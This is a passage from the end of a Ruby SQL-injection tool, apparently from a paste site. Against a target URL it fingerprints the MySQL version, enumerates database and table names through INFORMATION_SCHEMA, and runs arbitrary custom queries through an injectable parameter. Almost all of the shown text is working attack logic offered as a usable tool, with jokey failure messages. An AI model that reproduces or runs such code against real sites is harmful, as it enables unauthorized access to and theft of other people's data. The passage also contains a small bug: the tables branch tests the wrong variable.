  832.           pad = ' ' * (results.size + 25) unless results.nil? or results == ''
  833.           pad = ' ' * 50 if results.nil? or results == ''
  834.           print "\r(#{zcount})> #{results}#{pad}".cyan unless results == ''
  835.           dbz << results unless results == ''
  836.         end
  837.         puts "\n"
  838.         if dbz.empty?
  839.           puts
  840.           puts "Unable to get any database names!"
  841.           puts "Lack of privileges?"
  842.           puts "Possible Solutions include:"
  843.           puts "A) Become HR's best friend by updating the code and sending him a copy"
  844.           puts "B) Tweak Settings and try things again"
  845.           puts "C) Be a bawz and do it manually"
  846.           puts
  847.         else   
  848.           puts "DBS".light_green + ": #{dbz.join(', ').sub(/, $/, '')}".white
  849.         end
  850.       else
  851.         puts "Unable to determine number of available database, sorry".light_red + "....".white
  852.       end
  853.     else
  854.       puts "MySQL Version < 5 - No Information Schema Available".light_red + "!".white
  855.     end
  856.   end
  857.  
  858.   # Get Tables from Current DB
  859.   if options[:tables]
  860.     v = sql_inject(options[:target], options[:post], 'MID((SELECT VERSION()),1,1)')
  861.     if v.to_i >= 5
  862.       tables=[]
  863.       tbl_count = sql_inject(options[:target], options[:post], 'SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()')
  864.       if tbl_count.to_i > 0
  865.         puts "Fetching ".light_green + "#{tbl_count}".white + " Tables from Current DB".light_green unless tbl_count.nil?
  866.         0.upto(tbl_count.to_i - 1).each do |zcount|
  867.           results = sql_inject(options[:target], options[:post], "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT #{zcount},1")
  868.           tables << results unless results == ''
  869.         end
  870.         puts "\n"
  871.         if dbz.empty?
  872.           puts
  873.           puts "Unable to get any tables from current db!"
  874.           puts "Lack of privileges?"
  875.           puts "Possible Solutions include:"
  876.           puts "A) Become HR's best friend by updating the code and sending him a copy"
  877.           puts "B) Tweak Settings and try things again"
  878.           puts "C) Be a bawz and do it manually"
  879.           puts
  880.         else   
  881.           puts "Tables".light_green + ": #{tables.join(', ').sub(/, $/, '')}".white
  882.         end
  883.       else
  884.         puts "Unable to determine number of tables in current database, sorry".light_red + "....".white
  885.       end
  886.     else
  887.       puts "MySQL Version < 5 - No Information Schema Available".light_red + "!".white
  888.     end
  889.   end
  890.  
  891.   # Run Custom Embedded SQL Query
  892.   if not options[:query].nil?
  893.     results = sql_inject(options[:target], options[:post], options[:query])
  894.     if not results.nil?
  895.       puts "SQL".light_green + ": #{options[:query]}".white
  896.       puts "Result".light_green + ": #{results}".white
  897.     end
  898.   end
  899. else
  900.   puts
  901.   puts "Link doesn't appear to be injectable through MySQL Conditional Errors!"
  902.   puts "Sorry, double check manually to be sure...."
  903.   puts
  904. end
  905. #EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement